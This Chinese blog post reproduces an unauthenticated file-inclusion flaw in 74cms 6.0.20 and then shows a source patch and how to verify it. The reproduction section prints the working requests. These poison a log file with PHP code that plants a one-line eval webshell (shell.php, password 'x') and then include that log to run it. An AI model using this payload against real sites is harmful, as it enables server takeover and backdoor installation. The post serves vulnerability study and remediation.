74cms 6.0.20版本文件包含漏洞复现

简介: 74cms 6.0.20版本文件包含漏洞复现

01 漏洞描述


参考资料:


https://xz.aliyun.com/t/8021


由于74CMS 某些函数存在过滤不严格,攻击者通过构造恶意请求,配合文件包含漏洞可在无需登录的情况下执行任意代码,控制服务器。


下载地址:


http://www.74cms.com/download/index.html


注意:


  • 骑士cms不支持php7.x,复现php环境为php5.x即可
  • 版本低于6.0.48


本文复现版本:


74cms_Home_Setup_v6.0.20.zip



02 环境搭建


phpstudy2018

74cms_Home_Setup_v6.0.20.zip

注意:

php版本为5.x,暂不支持php7


具体的搭建流程可以参考互联网,因为很简单。


03 复现流程


访问地址:


http://10.211.55.9/74cms//index.php?m=home&a=assign_resume_tpl



  1. 在安装的文件位置中已经发现了记录的错误参数,路径是  

C:\phpstudy\PHPTutorial\WWW\74cms\data\Runtime\Logs\Home


  1. 进行如下请求


http://10.211.55.9/74cms//index.php?m=home&a=assign_resume_tplPOST:variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>



此时去看日志信息,一句话菜刀已经记录在日志里



  1. 开始包含:


http://10.211.55.9/74cms//index.php?m=home&a=assign_resume_tplPOST:variable=1&tpl=data/Runtime/Logs/Home/21_01_20.log



在根目录下写入shell.php文件,内容为一句话木马,包含成功



在cms系统安装的根目录下生成了一个shell.php一句话木马,密码是x


http://10.211.55.9/74cms/shell.php


执行任意命令,发现执行成功




04 漏洞修复


  1. 在以下路径的169行进行修改

/Application/Common/Controller/BaseController.class.php

未修改前:

public function assign_resume_tpl($variable,$tpl){
        foreach ($variable as $key => $value) {
            $this->assign($key,$value);
        }
        return $this->fetch($tpl);



加入下面这行代码:

$view = new \Think\View;
        $tpl_file = $view->parseTemplate($tpl);
        if(!is_file($tpl_file)){
            return false;
        }
// 修改之后的代码
public function assign_resume_tpl($variable,$tpl){
        foreach ($variable as $key => $value) {
            $this->assign($key,$value);
        } // fix 20210203
  $view = new \Think\View;
        $tpl_file = $view->parseTemplate($tpl);
        if(!is_file($tpl_file)){
            return false;
        }
        return $this->fetch($tpl);
    }



  1. 以下路径的文件:

/ThinkPHP/Library/Think/View.class.php

View.class.php文件中106行fetch方法中修改

// 将110行
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
// 代码注释替换为
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_'));


image.png

106

publicfunctionfetch(tematlecone

if(empty(Scontent))

107

Sthis->parseTemplate(stempateFile)

108

Stemplatefile

植板文件不存在直接返同

109

/(LE(SEMLAtL))ETMATENOXSM

110

ie(isfile(stemplateFile)E(ETMPLATENOTEXST)

111

112

e1se

definedTHEMEPATH)

define(THEMEPATHSthis->getThemeath)

113

or

114

//页面缓存

115

116

obstarto)

obimplicitflush(0)

117

sttolowe(C(TMPLENGINETYPE))(/使用PHP原生模板

if(php'

118

119

Scontenti

Scontent'

模板阵列变量分解成为独立变量

120

121

extract(sthis->tvarEXTROVERWRITE)

/直接载入PHP模板

122

empty(s.content)includestemlateileev1(3.conte)

123

124

e1se

/视图解析标签

125

array:var-ssthistvar,ete-stemplateftle.contentiscontent,pex

126

Sparams二

127

Hook::listen(viewparse.Sparams)

128

获取并清空缓存

129

scontent-obgetclean);

130

内容过滤标签

131

Hook::listenviewfiiter.Sconte)

132


05 修复验证


  1. 清空log文件中的内容



  1. 再次写入内容



写入失败,漏洞修复成功



相关文章
|
6月前
|
安全 网络安全 PHP
Pluck-CMS-Pluck-4.7.16 远程代码执行(CVE-2022-26965)
Pluck-CMS-Pluck-4.7.16 远程代码执行(CVE-2022-26965)
|
8月前
|
云安全 安全 中间件
如何确认网站是否有漏洞,如何找出网站存在的漏洞,找到漏洞该如何处理
如何确认网站是否有漏洞,如何找出网站存在的漏洞,找到漏洞该如何处理
如何确认网站是否有漏洞,如何找出网站存在的漏洞,找到漏洞该如何处理
|
安全 测试技术
漏洞复现--CVE-2020-0796getshell
漏洞复现--CVE-2020-0796getshell
漏洞复现--CVE-2020-0796getshell
|
开发框架 安全 PHP
ThinkPHP5 5.0.23 远程代码执行漏洞 漏洞复现
ThinkPHP5 5.0.23 远程代码执行漏洞 漏洞复现
1004 0
|
开发框架 安全 PHP
Thinkphp5 5.0.22/5.1.29 远程代码执行漏洞 漏洞复现
Thinkphp5 5.0.22/5.1.29 远程代码执行漏洞 漏洞复现
620 0
|
安全 网络安全 开发者
DedeCMS 5.7.106版本存在文件包含漏洞
攻击者可以通过操纵参数allurls来实现代码注入,并最终获得网站的控制权限。在/data/admin/allowurl.txt文件中写入的内容,并没有经过安全过滤,从而导致被成功绕过。由此可见,开发者应该严格限制用户输入的数据,避免类似漏洞的出现,确保网站的安全性和稳定性。
197 0
|
安全 Java fastjson
Log4j2漏洞复现&原理&补丁绕过
Log4j2漏洞复现&原理&补丁绕过
|
存储 安全 Unix
通用漏洞之文件包含漏洞
通用漏洞之文件包含漏洞
254 0
|
安全 Linux
【紧急漏洞】Linux polkit本地权限提升漏洞(CVE-2021-4034)POC复现过程与修复方法
【紧急漏洞】Linux polkit本地权限提升漏洞(CVE-2021-4034)POC复现过程与修复方法
823 0
【紧急漏洞】Linux polkit本地权限提升漏洞(CVE-2021-4034)POC复现过程与修复方法
|
开发框架 安全 .NET
IIS6.0文件解析漏洞原理/复现
IIS文件解析漏洞原理 IIS6.0存在文件解析漏洞 , 文件名中分号( ; )后面的内容不会被解析 比如 a.asp;jpg 文件 会被IIS解析成 a.asp 这个漏洞是逻辑上的问题,IIS6.0只是简单的根据扩展名来识别文件类型 , IIS底层使用C++写的,分号在C++中是结束符号 , 解析文件名读取到分号的时候,IIS会认为代码已经结束,从而停止解析
1078 0
IIS6.0文件解析漏洞原理/复现